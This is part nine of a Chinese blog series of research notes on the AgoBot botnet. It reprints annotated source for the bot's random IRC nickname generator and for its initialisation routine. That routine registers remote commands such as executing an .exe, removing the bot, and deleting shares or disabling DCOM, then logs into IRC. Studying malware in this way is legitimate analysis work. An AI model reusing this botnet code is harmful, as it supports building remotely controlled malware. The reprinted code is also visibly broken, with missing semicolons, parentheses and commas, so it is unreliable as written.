AgoBot 僵尸网络研究笔记(九)

 

九、2008年3月14日

作者:青青子衿

email:anzijin@sina.com

1 CString   RndNick ( const   char  * szPrefix )   生成昵称的函数

/

//

//位置:   untinity.cpp

//函数功能:随机生成昵称

//参数:   const char *szPrefix   昵称的前缀

//返回值:   CString 生成的昵称字符纯

//

///

CString   RndNick ( const   char  * szPrefix )

{

#ifdef  WIN32

#define  BUFSIZE  1024

  if ( g_cMainCtrl . m_cBot . bot_compnick . bValue //首先判断是否使用计算机名作为昵称

  {

    //如果使用计算机名作为bot的迷城

    CString   sComputerName

    char  * szComputerName ;

    bool   bNameGood = false ;

    szComputerName = sComputerName . GetBuffer (1024);  //字符串类型变量中的buffer字符指针

    init_random ();   //初始化随机数生成函数

    unsigned   long   lStrLen = sComputerName . GetLength ();   //获得字符串变量中buffer的长度

    if (! GetComputerName ( szComputerName , & lStrLen )) 

    {

      //如果无法获得主机名,将szComputerName 字符串赋值为"phat"

      strcpy ( szComputerName "phat" );

    }

    for ( int   j =65;  j <91;  j ++) 

   

      //如果首字母是A——Z bNameGoodtrue

      if ( szComputerName [0]== j

     

        bNameGood = true

     

    }

   

    for ( int   k =97;  k <123;  k ++) 

   

      //如果首字母是a——z bNameGoodtrue

      if ( szComputerName [0]== k

     

        bNameGood = true

     

    }

   

    if (! bNameGood

    {

      //如果计算机名的第一个字符不是字母,将szComputerName 设置为phat

      strcpy ( szComputerName "phat" );

    }

   

    //在计算机名称后加三位十进制的随机数

    sComputerName . Append ( rand ()%10);

    sComputerName . Append ( rand ()%10);

    sComputerName . Append ( rand ()%10);

    return   sComputerName ;   //函数返回这个字符串

 

  else

  {

#endif  // WIN32

    CString   sRetVal

    srand ( GetTickCount ());

    int   nl =( rand ()%3)+4;  //生成的随机后缀的长度,长度为4到6的一个随机长度

    sRetVal . Assign ( szPrefix );  //将指定的前缀赋值给字符串

    for ( int   n =0; n < nl ; n ++)

    {  

      CString   sTemp

      sTemp . Assign ( sRetVal );

      sRetVal . Format ( "%s%c" sTemp . CStr (), ( rand ()%26)+97);  //生成a——z的随机字母

    }

    return   sRetVal ;   //返回最后生成的字符串

#ifdef  WIN32

  }

#endif  // WIN32

}

2 void   CBot :: Init ()    可能前面解释了一部分,不是很全面重新解释一下

///

//

//函数功能:CBot类的初始化函数,

//具体功能:添加bot类的指令,

//       生成Bot的名字

//       向IRC服务器发出第一个请求数据包

//参数:  

//返回值:   void

//

//

void   CBot :: Init ()

{

  init_random ();

  Config ();

 

  //将由cbot模块负责处理的指令,添加的g_cMainCtrl.m_cCommands链表中

  //void RegisterCommand(command *pCommand, const char *szName, const char *szDescription, CCommandHandler *pHandler);

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdAbout ,     "bot.about" ,     "displays the info the author wants you to see" ,   this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdDie ,       "bot.die" ,       "terminates the bot" ,                 this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdDns ,       "bot.dns" ,       "resolves ip/hostname by dns" ,             this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdExecute ,     "bot.execute" ,     "makes the bot execute a .exe" ,             this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdId ,       "bot.id" ,       "displays the id of the current code" ,         this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdNick ,       "bot.nick" ,       "changes the nickname of the bot" ,           this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdOpen ,       "bot.open" ,       "opens a file (whatever)" ,               this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRemove ,     "bot.remove" ,     "removes the bot" ,                   this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRemoveAllBut ,   "bot.removeallbut" ,   "removes the bot if id does not match" ,         this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRndNick ,     "bot.rndnick" ,     "makes the bot generate a new random nick" ,       this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdStatus ,     "bot.status" ,     "gives status" ,                     this );

  g_cMainCtrl . m_cCommands . RegisterCommand (&m_cmdSysInfo,     "bot.sysinfo" ,     "displays the system info" ,               this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdLongUptime ,    "bot.longuptime" ,   "If uptime > 7 days then bot will respond" ,       this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdQuit ,       "bot.quit" ,       "quits the bot" ,                   this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdFlushDNS ,     "bot.flushdns" ,     "flushes the bots dns cache" ,             this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdSecure ,     "bot.secure" ,     "delete shares / disable dcom" ,             this );

  CString   sRndNick = RndNick ( si_nickprefix . sValue . CStr ());  //获得bot的昵称。

  g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" sRndNick . CStr ());   //发送昵称,登录IRC的第一个数据包NICK anbcQQ

  g_cMainCtrl . m_sUserName . Format ( "%s" sRndNick . Mid (0, 32). CStr ());   //取昵称字符串的前32个字节,最为用户名称

  m_lStartTime =( unsigned   long ) GetTickCount ()/1000;   //获取开始的时间

}

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值